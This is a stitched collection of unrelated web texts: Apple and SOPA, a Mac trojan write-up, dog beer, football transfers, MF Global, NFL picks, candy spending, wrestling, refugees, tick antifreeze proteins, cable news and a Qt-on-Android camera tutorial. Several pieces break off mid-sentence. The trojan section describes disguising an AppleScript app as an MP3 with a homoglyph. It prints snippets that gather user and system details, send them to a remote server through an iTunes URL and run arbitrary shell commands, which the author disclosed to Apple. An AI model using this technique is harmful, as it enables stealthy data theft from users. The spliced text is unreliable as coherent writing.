right? At the very least, your meal posts will definitely make you look like you’ve got it together. Baby steps. Originally published on Plenty Vegan.Apple to Stop Supporting SOPA; Also Microsoft, Intel, Adobe ... if you walked into Best Buy and saw something on the shelf you thought was pirated merchandise, under a law like the DMCA you would work with the store to get that product off the shelf. Under a law like PIPA or SOPA, you would force the landlord to close Best Buy. Innovation cannot thrive in such an environment. Businesses wont tolerate continuing to host on U.S.-based servers with the uncertainty that this model creates. Enacting such laws to combat copyright infringement would be like using a flamethrower to find a needle in a haystack. Apple, being a software giant like Adobe, Intel, Microsoft, and Sony, had originally thought that the moral idea behind SOPA (Stop Online Piracy Act) sounded like a good idea. Now, all four of those companies are backing away from it. Why? Because they took a closer look at the bill and saw what it really gave the government the power to do. If you're unfamiliar with SOPA, you can read my rendition of it here. This rendition is completely from my own mind with some quotes from other sources., but it also holds some realistic facts. Feel free to read it if you are interested, leave comments if you like.As we reported last week, Apple supposedly sided with SOPA by proxy. Proxy meaning that they secretly supported it. Now, it seems, Apple is changing their mind because the bill brings some rather questionable powers to the government.At first, the bill sounded good. Stopping all piracy, blocking questionable piracy sites, and helping the companies keep making money off of their products. In essence, any software company could agree with that. Most of them did (about a month ago). As the bill was introduced, more was unveiled about it. Albeit the bill would bring reduced numbers of piracy, it would also bring about an unstable internet in which the government or law enforcement could seize and shut down any Web Site that held questionable content or broke the law. This is where they over-stepped the line. Many companies already disagreed with the bill because of this, AOL, eBay, Facebook, Google, LinkedIn, Mozilla, Twitter, Yahoo, and Zynga to name a few. It makes sense, because all of these companies have something to do with media, something that is pirated very frequently. The only one that you might disagree with me on that with is Mozilla, but think about it, you need a Web Browser to see Web Sites, so in essence, the government could have blocked them to stop piracy too.Apple doesn't like the idea of the government having the ability to control the internet. Apple is a large seller of music and music is media. Apple also sells movies on iTunes as well as music. Movies are also media. Apple also has a market for applications, which are also media. Social media is anything that we can use to connect with each other over the internet to communicate, to share, to converse, and to laugh. It's a very broad term that includes anything you can do on a computer because everything you download is nothing but data. Data is social and media is data, it's how we communicate.Christian Dawson, COO of ServInt, had this to say about SOPA:So now that the biggest supporters of SOPA have pulled themselves away from the dubbed, "Anti-piracy" bill, do you think it will still get passed? Share in the comments below!A recent report is stating that a Mac based Trojan attributed to the Syrian Electronic Army (SEA) was discovered, although not a lot of information regarding the malware has been provided, it should be noted that creating a Trojan for OS X is not particularly difficult. A year or so ago I stumbled upon a way to create Trojans for OS X by utilizing homoglyphs and a bit of social engineering, I disclosed the vulnerability to Apple and presented it at ToorCamp. I was able to show how it is possible to create an binary that appears to the end user as a harmless file such as an MP3 file or image. For my proof of concept I used AppleScript, as it is not only an easy way to create a Mac app, but also has hooks into all of the native Mac apps making it easy to control these applications for malicious purposes. For a proof of concept I created an Applescript application that gathers information from the system, runs some shell scripts and then passes data from the device through iTunes to a remote server. Creating the app was one thing, making it so that it tricked someone into clicking it was another. By default applications hide the “.app” extension on Macs¸ I wanted to disguise my Trojan as an MP3 so figured I could just change my file name to “.mp3,” however when you do this OS X knows you are up to no good and will then make the “.app” visible after your “.mp3” alerting users to the fact that this file is in fact an application and not an MP3. However this behavior only occurs with a period. As a workaround I found that if I use a Unicode character that appears similar to a period, OS X does not make the “.app” visible. I found a Turkish character called and ogonek (“¸”) that looks close enough to a period to fool most people using the default OS X system font: I then changed the icon of my application to the standard MP3 icon and the disguise was complete. When the file is double clicked it would open iTunes and pass a URL with data encoded in the query string to a remote server where I logged the data collected from my semi-willing test victims. The server would then stream the MP3 they were expecting to hear back through iTunes so they would not suspect what was happening on the back end. Using Applescript I was able to access pretty much all native OS X applications including iLife and iWork, as well as run shell scripts under whatever permissions the user had: ... tell application "iTunes" activate try open location trackingURLdata end try end tell do shell script "{insert shell commands of your choice}"... There is also a “sysinfo” object available in Applescript that provides extensive information about the system and user account that is easy to access: set sysinfo to (system info) as record set uname to long user name of sysinfo set user to short user name of sysinfo set cname to computer name of sysinfo set sip to IPv4 address of sysinfo To Apple’s credit they made “DeveloperID and Gatekeeper” available as of Mountain Lion which helps to mitigate the risk of this particular attack, but only if it is enabled: However, once unidentified applications were enabled on the device the Trojan worked perfectly. Older versions of OS X, Lion (10.7) and earlier do not have Gatekeeper and so will run the Trojan without error. If the file is downloaded from the Internet a warning may appear telling the user the file was downloaded from the Internet, but I found the most people did not care and just clicked through without giving it another thought. Utilizing a Mac Trojan in combination with a phishing attack would allow the attacker to sniff the version of OS X the user is running on the server and could swap out files based on those susceptible to it. Related Articles: P.S. Have you met John Powers, supernatural CISO?Cartoonist Charles Schulz once said, “Happiness is a warm puppy.” For a puppy, happiness might be a warm beer, at least according to Winston, our resident pup. Winston is an avid fan of Seattle-based Bowser Beer, a brew made for canines without alcohol, carbonation, or hops, which are toxic for dogs. The beer comes in two flavors, Beefy Brown Ale and Cock-A-Doodle Brew. “It’s not like your beer,” said Jenny Brown, who founded the maker of Bowser Beer, 3 Busy Dogs, Inc., in 2008. “It’s kind of an unusual combination with the beef or the chicken, and the malt barley.” The pooch hooch resembles broth, though it contains no salt or onion. The drinks are flavored using real meat, and include glucosamine for joint health. Dogs can sip on the brew straight out of the bottle, served over kibbles, or poured over a bowl of crushed ice for a Bowser cone. Considering the tasters, both four-legged and two-legged The faux booze is intended for dogs, but it’s fine for humans to sneak a swig, too. In fact, Brown says her husband has had his share of sips since the company’s early days. “My husband was a taster. That was one of his jobs,” she said. But the opinions that mattered most were those of her three dogs, who inspired the company’s name. “We made like four different concentrations, and we’d line up the bowls. And our dogs were the original test team,” she said. The concentration that proved most popular in the Brown household became the base for what later became Bowser Beer. So what does it taste like, exactly? “I’ve heard people describe it as everything from ‘it tastes like vinegar’ to ‘it tastes like urine,’” said Brown. “I say, ‘Come on, you can’t compare it to beer, like apples to apples!’” Not everyone is as dramatic. Winston’s dad, who tasted the Beefy Brown Ale, described it as a “slightly-sweet, flat, light beer with a hint of beef.” Brown is unfazed by human reviews. “The dogs enjoy it, and that’s what really important,” she said. From pretzel bites to canine beer Brown never imagined she’d be making beer for dogs. The idea came to her while helping a friend sell pretzel treats at a farmer’s market. “People would say, ‘If you make treats for dogs, I would buy them,’” she said. So Brown began making Bowser Bites—pretzel pieces baked with a coat of peanut butter and molasses. And they were a big hit, especially for one of Brown’s own dogs who, in his old age, could no longer enjoy hard biscuits. Brown saw that she was on to something, and pushed forward. “I thought, ‘Gee, what goes with pretzels?’” she said. “And I thought, ‘Beer!”’ Now Bowser Beer is sold all over the U.S., as well as at Harrods of London. Since the company began shipping to pet stores in 2009, Brown says she has received calls from all kinds of businesses. “Yogurt shops, coffee shops, stuff like that,” she said. “And now what we’re seeing is more and more restaurants, and more and more places with patios.” Bark mitzvahs, dog weddings and chugging contests Over the years, Brown has gotten to know some of her regular customers, including “a dog who belongs to a race car driver, and he’d take his beer down to the race track.” She says her unique brew has proven popular for special occasions, especially with custom-ordered labels for the bottles. “We do bark mitzvahs,” she said. “I just had two orders with the wedding labels, and I believe they were people weddings, but we often have dog weddings, too.” Canine beer-chugging events are also growing in popularity at charity fundraisers, says Brown. “They’ll line up the bowls with the dogs, and they let the dogs chug the beers. And whoever finishes the beer first wins, and everybody gets to yell, ‘Chug, chug, chug!’” she said. “People are just crazy about their dogs. And they just want to include them into their lifestyle,” said Brown, who herself has owned dogs throughout her life. The three dogs whose tastes helped her launch Bowser Beer have since died, but their two successors are now helping run the family business. “They are in my office every day. We have to take breaks sometimes to play ball. They follow me everywhere,” said Brown, adding Muggsy and Quigley get their fill of Bowser Beer. “They get it often enough. And I tell’em, ‘You know, can’t take too much of the inventory.”’ Brown has always been a dog lover, but she says her business has made her realize she’s hardly alone. “Dogs are so in tune with people. There’s such a rapport with a dog,” she said. “People are attached to cats, yes, and they have their birds. But dogs are just really almost an extension of their family members. It’s just that bond, and I think dogs give back as much—or more, probably—of love.”Deadline day has come and gone, and all the latest deals and potential deals can be found here, but there's plenty brewing in the market as clubs begin to look toward January. Arsenal monitor Mertens Dries Mertens' impressive form for Napoli hasn't gone unnoticed at the Emirates Stadium, with Arsenal keeping a close eye on the Belgian as a potential replacement for Alexis Sanchez. According to the Daily Mirror, the Gunners wanted to sign Mertens in the summer following his 34-goal haul in Italy, but the 30-year-old decided to sign a new deal at the Stadio San Paolo. Mertens' contract reportedly includes a tempting buyout clause of just €30 million, however, which is likely to persuade Arsene Wenger to follow up his interest. Liverpool are also thought to be keen admirers of a forward who has already hit six goals in five Serie A matches this season. Dries Mertens' goalscoring form and modest buyout clause make him an ideal candidate to replace Alexis Sanchez at Arsenal. Sanchez to replace Cavani at PSG Manchester City may have led the race for Alexis Sanchez's signature over the summer, but they face increased competition from Paris Saint-Germain to sign the Arsenal forward next year, reports the Sun. Sanchez is almost certain to leave the Gunners when his contract expires in June, with a peculiar situation highlighted by his substitute role away to Chelsea last Sunday before playing 90 minutes against Doncaster in the League Cup. The Chilean is free to talk to foreign clubs from January, which could allow PSG to steal a march on their rivals. The Ligue 1 side will apparently trump City's contract offer of £275,000 a week, adding a lucrative signing-on fee on top. It's reported that Edinson Cavani will be allowed to leave the Parc des Princes to make way for Sanchez's arrival in an all-star front three alongside Neymar and Kylian Mbappe. Belotti to stay at Torino Andrea Belotti could spurn interest from Chelsea to remain at Torino, according to Calciomercato. The 23-year-old scored 26 goals in 35 Serie A matches last term but was deemed too pricey for the Blues due to his €100m release clause. Andrea Belotti could be set to spurn interest from Chelsea to sign a new contract at Torino. Chelsea and AC Milan are still tracking the striker, but it's reported he could now sign a new €3m-a-year contract at Torino. With four goals in 11 caps for Italy, Belotti's price tag could take another hike next summer should he impress for the Azzurri at the World Cup. Tap-ins - Rangers striker Alfredo Morelos is a target for five Championship clubs following his goalscoring start in the Scottish Premiership. According to the Scotsman, Aston Villa, Barnsley, Bristol City, Derby County and Reading are all interested in the Colombian, who has bagged six goals in six matches this season. - Everton hope to solve their miserable goal drought with a move for Sporting Lisbon striker Seydou Doumbia, writes the Sun. The Toffees have scored just twice in their first five Premier League matches but could have to pay up to £55m for the 29-year-old. - Genoa striker Pietro Pellegri is a target for Manchester United, Arsenal, Chelsea and Manchester City, reports the Mirror, after scoring a brace against Lazio last week. The 16-year-old is highly regarded in Italy, with Juventus, AC Milan and Inter Milan hoping to keep him in Serie A. - Schalke contract rebel Leon Goretzka is edging closer to a move to Barcelona, according to Mundo Deportivo. The Germany international is reluctant to extend his current deal beyond next summer, with the Catalan giants preparing a cut-price bid for the midfielder in January. - Manchester United have sent scouts to watch Celtic left-back Kieran Tierney, writes the Sun. With doubts remaining over Luke Shaw's long-term future at Old Trafford, the report claims that the 20-year-old has emerged as a leading target for Jose Mourinho.GOP blames Corzine for MF Global collapse The former senator, governor and Goldman Sachs executive was CEO of the financial firm when it collapsed Your message has been sent successfully WASHINGTON — Republicans on a House panel that investigated the collapse of the brokerage MF Global are pinning the blame on ex-CEO Jon Corzine, a former Democratic senator and governor. The Republicans say the investigation has found that Corzine's decisions caused MF Global's bankruptcy in October 2011 and its loss of more than $1 billion in customer money. Advertisement: They say Corzine turned the brokerage firm into an investment bank making risky trades. They also say Corzine ran the firm in an authoritarian manner and didn't allow anyone to challenge his decisions. The firm failed after betting $6.3 billion on European debt that soured. The House Financial Services oversight subcommittee is to release the report of its investigation Thursday. A spokesman for Corzine did not immediately return a telephone call seeking comment Wednesday. Corzine told Congress last December that he never intended to misuse customer money or order anyone to do so. Legal experts say it could be difficult for the government to build a persuasive case that he did know. Rep. Randy Neugebauer, the Texas Republican who heads the subcommittee, said in a news release that choices Corzine made as the firm's CEO "sealed MF Global's fate." Advertisement: "Corzine dramatically changed MF Global's business model without fully understanding the risks associated with such a radical transformation," Neugebauer said. The GOP lawmakers said the panel's staff interviewed more than 50 witnesses and reviewed 243,000 documents from MF Global, former employees of the firm and federal regulators. The Republicans said Corzine acted as the firm's chief trader in practice, though not in name, and walled off his trading from the firm's review of its potential risks. Corzine rose from the trading floor of Goldman Sachs to become the investment bank's co-chairman. He then ran successfully for the U.S. Senate in 2000 and later one term as governor of New Jersey. Advertisement: Corzine took the top job at New York-based MF Global after losing a bid for re-election as governor in 2009. He stepped down as MF Global's CEO on Nov. 4, 2011, days after the firm filed for bankruptcy protection. For months, regulators investigated whether the missing customer money was improperly used to cover MF Global's short-term needs when its trading partners lost confidence in the firm and demanded cash owed them. Much of the missing money belonged to farmers, ranchers and other business owners who bought and sold financial contracts with MF Global to reduce their risks from the fluctuating prices of corn, wheat and other commodities.In the year of the rookie quarterback, Russell Wilson is the one with the best chance to celebrate on Bourbon Street in February. Wilson’s chances to get to New Orleans are far better than Andrew Luck’s or Robert Griffin III’s. The Colts should make the playoffs, and the Redskins might. But we’ve seen Indianapolis’ defense shredded by Tom Brady, and Washington has given up plenty of big plays. The Seahawks (8-5) have a ferocious defense, and should be viewed as serious Super Bowl contenders, particularly if they win the NFC West. If Seattle beats Buffalo on Sunday, and San Francisco loses to New England on Sunday night, the 49ers at Seahawks showdown in Week 16 will be for first place. The Seahawks are bullies at home (6-0) and a threat to take out anybody in the NFC. On the road, Seattle has the running game and defense to win in someone else’s building. Progressive thinking has been vital to the Seahawks’ success. General manager John Schneider had the foresight to pluck Wilson in the third round, and coach Pete Carroll had the guts to start Wilson over Matt Flynn, who signed for big free agent bucks. Carroll and Schneider were convinced early that Wilson was special. Now others are catching up. "I’ve been blown away by Russell Wilson," said Ron Jaworski, ESPN analyst and former NFL quarterback. "I take a lot of pride in my prep of college players coming in, and I thought Russell Wilson would be a good, solid backup quarterback for a decade in the NFL. He’s come in and shown incredible poise, a pocket awareness, the strong arm, and the ability to make plays. "He has made plays when the score has been tied or they’re behind. The majority of his touchdown passes come in critical situations, and I’m a big believer in quarterbacks that manage critical situations." People were questioning the wisdom of Wilson being a starter in September. In February, Wilson could be answering questions at the Super Bowl. Sound crazy? The Colts being 9-4 sounded crazy in September. Griffin being tied with Brady for the league’s highest quarterback rating (104.2) sounded crazy. A rookie quarterback starting in the Super Bowl has never happened, but it doesn’t sound so crazy anymore. Not this season. And if it happens, I believe it will be Wilson. DON'T BANK ON SABAN TO NFL If Alabama’s head coach really wants back into the NFL, the door will be wide open after the season. However, a former NFL front office executive who has known Saban for decades, told me he would be shocked if Saban bolted Alabama for the Browns. The Boston Globe reported Saban has "let it be known" that he if he returns to the NFL, it would likely be with Michael Lombardi of NFL Network as Saban’s general manager. Lombardi has been mentioned as a G.M. candidate in Cleveland. "If you tell me Nick Saban ends up as the coach of the Browns, I’d probably drive my car off this road that I’m driving on," the former exec told Sporting News. "Now, is there another NFL job that Nick Saban might look at, after this year, or in the future? Sure. People have money, and people are always desperate to bring in a coach they can win with." However, the former exec believes it’s significant that Saban has spent six seasons at Alabama. He had never spent more than five years anywhere else. "Maybe he’s bought into the idea of building a legacy," said the former exec. "He’s winning, they’re recruiting well, he’s going to continue to win. What drives coaches out of Alabama is the pressure to constantly win. But that’s a perfect fit for Nick, because he’s a perfectionist. It’s been a match made in heaven. He wouldn’t want it any other way if they weren’t that demanding, because he’s that demanding. So if he stays, I won’t be surprised. In fact, that’s what I expect." Either way, Saban’s most interesting call after the national championship game will be the call he makes concerning his future. TWO PLAYERS WHO NEED TO STEP UP Miles Austin, WR Cowboys. Dez Bryant is dealing with a finger injury, meaning it’s time for Austin to carry more weight. Bryant has become Tony Romo’s go-to guy at wide receiver, but Austin still ranks 21st in the league in receiving yards this season. He's capable of playing like a No. 1 receiver, but he if he doesn’t over the next three games, the Cowboys’ playoff chances will be grow slimmer. Christian Ponder, QB, Vikings. Over the past three games, Ponder has just 369 total yards passing. Adrian Peterson’s season looks even more remarkable, considering how Ponder has struggled. Would love to hear Larry Fitzgerald and Peterson having a candid conversation about their quarterbacks. POTENTIAL PLAYOFF TEAMS IN TROUBLE Bears. During Lovie Smith’s tenure in Chicago, the Bears are 15-18 during the final four games of the season. They have fallen from 7-1 to 8-5. If the Bears don’t finish the season strong and miss the playoffs, it would not be the first time that has happened to Smith. But it could be the last time, as speculation of Smith’s job is suddenly in vogue. Steelers. They’ve lost to the Raiders, Titans, Browns and Chargers. That alone should make you ineligible for the playoffs. Yet, the Steelers (7-6) control their own destiny heading into Sunday’s road games against the Cowboys (7-6). The Steelers aren't a Super Bowl team, even if they make the playoffs. Their offensive line just isn’t good enough. MORE REASON TO DOUBT THE FALCONS Four of the last five No. 1 seeds in the NFC have been knocked out in the first round. The lone exception was the Saints, who won a Super Bowl in 2009. Last year, the Packers fell as the No. 1 seed, losing to the Giants. The Falcons have not locked up the No. 1 seed, but if they do, recent history says it guarantees you nothing. Shows the importance of playing your best football in December and January, not September and October. The Falcons need to beat the Giants on Sunday, or doubt about Atlanta’s legitimacy as a Super Bowl team will increase for good reason. JETS NEED TO BE HONEST ABOUT THEMSELVES Their remaining schedule is soft, but if the Jets (6-7) somehow make the playoffs, the gap between them and the NFL’s top teams is wide. They need to take the approach the Broncos took after last season. The Broncos made the playoffs and even won a playoff game, but team executive John Elway knew they weren’t a contender. So he acted boldly and got Peyton Manning. Manning won’t be available this offseason. But if the Jets think they can come back next year and contend with Mark Sanchez as their quarterback, without a much stronger supporting cast, they're not fooling anyone.If you’re one of the cool parents who want your little ghouls to get the best haul of tooth-rotting candy goodness possible this Halloween, you ought to buy them a plane ticket. Or at least drive them across the state line into Utah. Colorado is the fifth worst state for trick-or-treating, according to a recent analysis of candy-buying trends over the last two years. In the week before Halloween, Coloradans spent an average of $12.37 per person on candy in 2015 and 2016. That’s well below the national average of $16 per person. The breakdown, put together by Denver-based shopping rewards app Ibotta, showed that the proverbial sweet tooth — and good, decent people who want to make children happy– is particularly common in the Pacific Northwest. Oregon and Washington were No. 1 and No. 2 in U.S. candy spending, according to Ibotta’s analysis. The average Oregonian nearly busted the curve, dropping $40.29 on Snickers, Twix, Skittles and the like in the week leading up to Halloween the last two years. In Washington, the average candy giver invested $28.63 in their goods. New Jersey, Utah (Colorado’s immediate neighbor to the west) and California fill out the top five. Colorado is joined in the hall of cheapskates (in descending order of dollars spent) by Alabama, Michigan, Georgia and Ohio. Buckeyes spent an average of $11.21 per person, according to the analysis. In the hall of wet blankets you’ll also find Vermont, Maine, Arkansas, New York and Maryland. Those are the states that spent the most on oral care products in the week leading up to Halloween, the analysis found. Ibotta did figure out the best day to buy candy in the week before Halloween. It’s Oct. 27. The company determined candy costs an average of $1.94 per unit on the 27th. The worst day to buy, unsurprisingly, is Halloween Eve. Prices jump up to an average of $2.75 per unit Oct. 30.Nope, not the style of wrestling we here in the UK have inherited from Japan. Still no, I am not writing about British strong-style wrestler Will Ospreay. In actual fact, I am talking about one of the hottest factions in indie wrestling right now. Pete Dunne, Tyler Bate, Trent Seven. You mightn’t have heard of these guys, but they’re taking over right now, and are not planning on slowing down. In this article, I’ll provide an introduction to the group, explaining what makes them so good. There will be a part 2 to this story and I will be fantasy booking these three and discuss what I feel WWE should do with their new recruits. Sound good? Even if it doesn’t, we’ve still got your website click now, you can go. Summary Basically, they’re three lads who happen to wrestle, really well. They’ve been taking over the UK-indies, travelling all over the nation wrestling quality match after quality match. Along with the likes of Marty Scurll and Zack Sabre JR, they’ve aided the British wrestling scene to a revival, and helped get a UK wrestling show put on the WWE network. They may be a faction, but they’re not consistently a team, often wrestling each other, with Dunne and Bate even going head-to-head at the next NXT Takeover. As we progress through, I’ll teach you all that you need to know about the individuals that make up the world’s best wrestling trio right now. Trent Seven Moustache Mountain baby. Seven is probably one of the most unlikely wrestling stars of recent history. Buying his own ring to train himself back in 2008, Trent’s has been on an upward rise through the ranks since 2010. He’s one of the most consistent performers in the UK and is getting better with age. He may not have that UK title just yet, but I wouldn’t put it past him to win it in a couple of years. Finisher: Spiking Piledriver (Seven Heaven) Championship History: • Attack 24/7! Champion • Chikara Campeonatos de Parajas (W/ Tyler Bate) • Fight Club: Pro champion • Infinity Trophy winner 2013 • ICW World Heavyweight Champion • 2x Progress Tag Team Champion (W/Pete Dunne currently, W/Tyler Bate) So where would Trent fit in? Most likely, he’d be a reputable midcarder. He would never achieve the main event status, but he’d be a face or heel capable of having a decent US title run. A pro in the ring and gentleman outside of it, keep your eyes peeled for Moustache Mountain. Tyler Bate 19 years of age, that’s it. Some people have ruined their lives by 19. Tyler is out there winning title after title. The most traditional wrestler out of the group, he mixes martial arts with strong-style to great effect. Bate has really flourished recently, improving at a massive rate and well deserving his run with the UK title. Finisher: Sitout double underhook power bomb (Tyler Driver 97′) • 3x Attack 24/7! Champion • Chikara Campeonatos de Parajas (W/ Trent Seven) • Great Bear Junior Heavyweight cup winner (2014) • URSA Major One Night Tournament winner (2013) • Kamikaze Pro Tag Team Champion (W/ Dan Moloney) • Kamikaze Relentless Divison Champion • Progress Tag Team Champion • SWA British Lions Champion • British Lions Tournament Winner (2014) • wXw Shotgun Champion • WWE UK Champion • WWE UK Championship Tournament Winner At 19 years of age, the sky is the limit for young Tyler. The best bet for WWE is to keep on doing what they’re doing (for once), and make sure that the crowd is exposed to as much of him as possible. After that, slowly move him up and up, and if he continues his accelerating development, there is no reason he can’t be a main-eventer. Pete Dunne My genuine favourite of the group, Pete Dunne is a natural born heel. Able to generate toxic heat, Dunne can hold a crowd in the palm of his hand, as proven by the Network’s UK tournament. You can see Dunne beautifully playing the heel role at the UK tournament by clicking here. At only 24, he really is a bonified star and someone you could definitely argue was born to wrestle. He works very hard, is a dedicated worker and deserves every success he gets. Finisher: Tiger Suplex or Pumphandle lift transitioned to a reverse STO (Drop Dead!) Championship History: • 4FW Junior Heavyweight Champion • AWW British Tag Team Champion (w/ Damian Dunne) • 5x Attack! 24/7 Champion • Elder Stein Invitational Winner (2012) • Fight Club: Pro Champion • Infinity Trophy Winner (2015) • Kamikaze Rel
answers you want immediately. It takes time, self-reflection and meditation to determine where you truly want to go. You need to ignore the critics of the world and concentrate on what you want. If you’d like some guidance on how to determine your destiny, we have a topic revolving around it. If you’re having trouble starting your goals and need some motivation, we describe the method to get it here. What you decide is up to you. All you really need to do is to start.The report "The human cost of Fortress Europe" released by Amnesty International on Wednesday is critical of European Union policy that Amnesty says emphasizes a marginally-effective effort to seal the borders to Europe rather than providing support for asylum seekers. "The effectiveness of EU measures to stem the flow of irregular migrants and refugees is, at best, questionable," said John Dalhuisen, Europe and Central Asia director at Amnesty, in a statement. "Meanwhile, the cost in human lives and misery is incalculable and is being paid by some of the world's most vulnerable people.” Refugees from Africa Amnesty International says about half of refugees arriving irregularly in the EU come from Syria, Eritrea, Afghanistan and Somalia, "countries torn by conflict and wide spread human rights abuses," the group said. Many of these refugees head for the Italian island of Lampedusa, which has seen a number of shipwrecks of unstable refugee boats that have cost hundreds of people their lives. Reports of "push backs" – refugees that are simply turned around and sent back upon reaching the EU – are also part of Amnesty's report. "Refugees must be provided with more ways to enter the EU safely and legally so that they are not forced to embark on perilous journeys in the first place," Dalhuisen said. Mara Nostrum On Tuesday, EU interior ministers met in Milan to discuss refugee migration to Europe. The location was fitting: Italy shoulders much of the burden in Europe of rescuing refugees who run into trouble during dangerous boat journeys to Europe from northern Africa, often in the hands of people smugglers. At the meeting, Italy called on the EU's border protection agency Frontex to take over the Italian naval mission, Mara Nostrum (Our Sea), which patrols for refugee boats in the Mediterranean and costs around 9 million euros ($12.28 million) a month. The EU's Home Affairs Commissioner Cecilia Malmstroem said Frontex was too small to completely take over Mara Nostrum, but said "we must open legal routes to allow refugees to come to the European Union, otherwise they resort to illegal immigration channels." Sharing the burden of managing refugees that arrive via boat to Italy and other Mediterranean nations is a contentious issue. Some countries such as Germany which end up hosting refugees feel they do their duty, claiming a country like Italy is content to pass the refugees on to another EU nation. Italy on the other hand is eager for the rest of the EU to pitch in when it comes to monitoring the Mediterranean for refugees. According to the UN's refugee agency, a record 63,000 refugees have arrived by boat on Italian shores this year already. The previous record was 62,000 refugees in all of 2011. mz/ipj (AFP, Reuters, dpa)These pests might be good for something after all. (AP Photo/Victoria Arocho, File) Feeling a bit nippy? For now you'll have to stick to your hat and scarf to warm up, but one day some antifreeze proteins from a fish or a tick might do the trick. In a preliminary study published Wednesday in PLOS ONE, researchers report using specially bred mice -- ones spliced with the genes that give ticks antifreeze cells -- to show that mammals can benefit from the proteins that other species use to keep from icing over. Ticks aren't the only species with so-called antifreeze proteins, which help keep creatures that don't moderate their own body temperatures from ending up with frozen cells (or, in some cases, just keep that freezing from having harmful effects) by preventing the formation of ice crystals inside tissue. But lead study author Erol Fikrig, a professor of medicine at Yale and an investigator for the Howard Hughes Medical Institute, focuses on the ticks and their antifreeze properties in particular in his lab. Ticks have a protein called IAFGP that kicks in during winter. Fikrig and his colleagues wondered if it could be harnessed by mammals. "The most typical thing that happens to us in the cold is frostbite," he said. So after breeding genetically modified mice to produce IAFGP, the lab tested their tolerance to cold. In both skin sample tests (where they stored skin cell samples in just above freezing temperatures for several days) and tests on living mice (where tails were placed in a cooling solution for seven days), the mice that produced IAFGP showed less frostbite. Sixty percent of the treated mice had no frostbite at all on their tails at the end of the trial, as compared to 11 percent of the normal mice. Of course, the potential human applications are a long way off. "Our study doesn't address the question of how we'd deliver the protein," Fikrig explained. "We're using transgenic mice, and we're obviously not going to put this gene into people." In future experiments, he said, they'll see if injecting the purified protein itself has any effect. If it does, the IAFGP therapy could have applications in treating human illnesses that cause cold sensitivity -- but it would be even more immediately helpful when it came to organ donation and transplants. Once a donor organ is removed, transplant teams only have about 24 hours to put it into a recipient before the tissues are too damaged by the cold being used to preserve them. "If there was a way to enhance organ transplantation storage with this," Fekrig said, "That would undoubtedly be a great thing."Ed Schultz returned to MSNBC on Saturday with his new weekend show and accused the GOP of trying to "smear Hillary Clinton." Earlier this year, Schultz said that he was turning his primetime weekday show into a two-hour program on Saturdays. Though Schultz and MSNBC insisted the move was the host's decision, rumors had swirled that the network was looking to replace him. Weekend host Chris Hayes took over Schultz's primetime slot last month. Schultz discussed a number of stories during his energetic return, including healthcare, his wife's battle with cancer, social security and more. By exception of a new snazzy opening and a new segment in which Schultz answered questions from viewers, "The Ed Show" was similar in tone and content to his former primetime show. During a segment on Benghazi, Schultz said that "the Republican effort to make the September 11th attack on Benghazi into a scandal is really about one thing and one thing only: Hillary Clinton." He said that Republicans were looking to "smear Hillary Clinton and distract us from the issues that Americans really care about, which is why on Wednesday Republicans held their ninth hearing on Benghazi... and still failed to produce a smoking gun." Schultz added that the hearings on Benghazi were being used as a way to "manufacture an Obama administration cover-up, derail President Obama's agenda and fire up the Republican bases as we head into the midterm election cycle."Necessitas: solution for lack of Camera support In this article I will present my solution for using Camera in Necessitas (Qt on Android) projects. In current version of Necessitas (0.3.4) Camera is not supported. I was looking for existing solutions but the only one that I found in a patch for using MultimediaKit (proposed by dr. Juan Manuel Sáez) was related to old versions of Necessitas. I tried to use it but it seemes that old versions are now unstable (NecessitasQtCreator is crashing during building project). I decided to use JNI to have an acces to Camera (with a little help of Java (-: ) in Qt Application. I created two classes CameraSupport: in Java, to get every frame using Android API, in C++, to get frames from Java and retrieve them. First class is really simple and doesn't contains anything special (maybe using additionals buffers is something not typical). To build it we need Android SDK level 11 (or higher). If you prefer use lower levels of SDK, you can simply delete lines containing preferredPreviewSize. Second class is little bit more complicated, because: it's using JNI to communicate with Java class, Android SDK is delivering frames in YUV format so I need to decode it to get RGB values, I'm using Samsung Galaxy Tab 10.1 with two-cores processor, so I wanted to take advantage of it by dividing calculations for converting YUV frame into RGB one using two threads. I little explained how to communicate C++ and Java classses in previous article. In this article I will use my previous solution. I was looking for long time an optimal way of decoding YUV image to RGB. I was using formulas which I found at Wikipedia (I chose bitwise version). To make it better I done all calculations before and I put results into arrays but still I was using clamping function. I found nice idea how to make it better in an article Optimizing YUV-RGB Color Space Conversion Using Intel’s SIMD Technology of Étienne Dupuis. He suggested removing clamping function and use instead of it predefined array with proper number of zeros at the beginning and 255s at the end. It was the end of my optimization. If anyone has idea how to make it better, please share it. I guess the first time in my life I felt a need of threading something (yes, I'm quite young (-: ). The result of my work you can find in C++ class. I created it in this way to work with optimal number of threads. I discovered that because pre-emption one thread is doing its job much longer then other. I invented solution that don't divide data into 2 exact size portions (in case of 2-cores procesors) but gives each thread smaller portions and if thread finished its job and there is still some data to retrieve, it takes next portion. Of course, I you have better solution or you found some error, please contact me. (-: I won't analyse here all my code, I just show you how to use it. First, copy these files (you can find sources here) to your project (respectively to paths): PROJECT_NAME/android/src/pl/ekk/mkk/necessitas/CameraSupport.java PROJECT_NAME/camerasupport.cpp PROJECT_NAME/camerasupport.h PROJECT_NAME/JavaClassesLoader.cpp (if you don't have it already) Second, add existing files to your Necessitas project. Third, place this code into your header file of MainWindow class (or other): #include <QTimer> class CameraSupport; #define MILISECONDS_FOR_REFRESH 1 #define WIDTH 640 #define HEIGHT 480 In my case, I use frames with resolution 640 x 480. On my tablet it works with 30 FPS. If you want have another resolution, just change above values. You can find in Application Output in moment of Camera initialization a line like this: V/CAMERA SUPPORT(30977): Preferred preview size - 1024x768 which says what is preferred size of a frame (remember that you need Android SDK 11 or higher to get this information). In private section add this code: QTimer timer; QImage frame; CameraSupport cameraSupport; bool repaint; unsigned int totalFrames; unsigned long long frameTime; unsigned int currentFrame; unsigned int fps; unsigned long long frameCounter; clock_t time1, time2; First, we need QTimer to get frames with a proper frequency. Of course in case of big frames, time of retrieving is so long that time between getting new one can be really small. But still, in case of small images it's good to set this time longer. Second, we need QImage to use data frame in Qt application. If you prefer other image containters, if they support loading data from RGBA array, you can use it as well. Third, we need CameraSupport object to ask it about new frames and if there is one to get it. To avoid painting the same frame I use repaint flag. Below repaint variable you can find some diagnostic variables to calculate FPS, count time of execution of parts of code etc. Now, let's add into protected section: void paintEvent (QPaintEvent event); We will use this method for displaying frames. The last thing that you need to add into your header file is a slot for QTimer: private slots: void updateFrame(); Now, let's modify cpp file. In place where you want to start using your camera (in my case in constructor) put this code: timer = new QTimer (this); connect 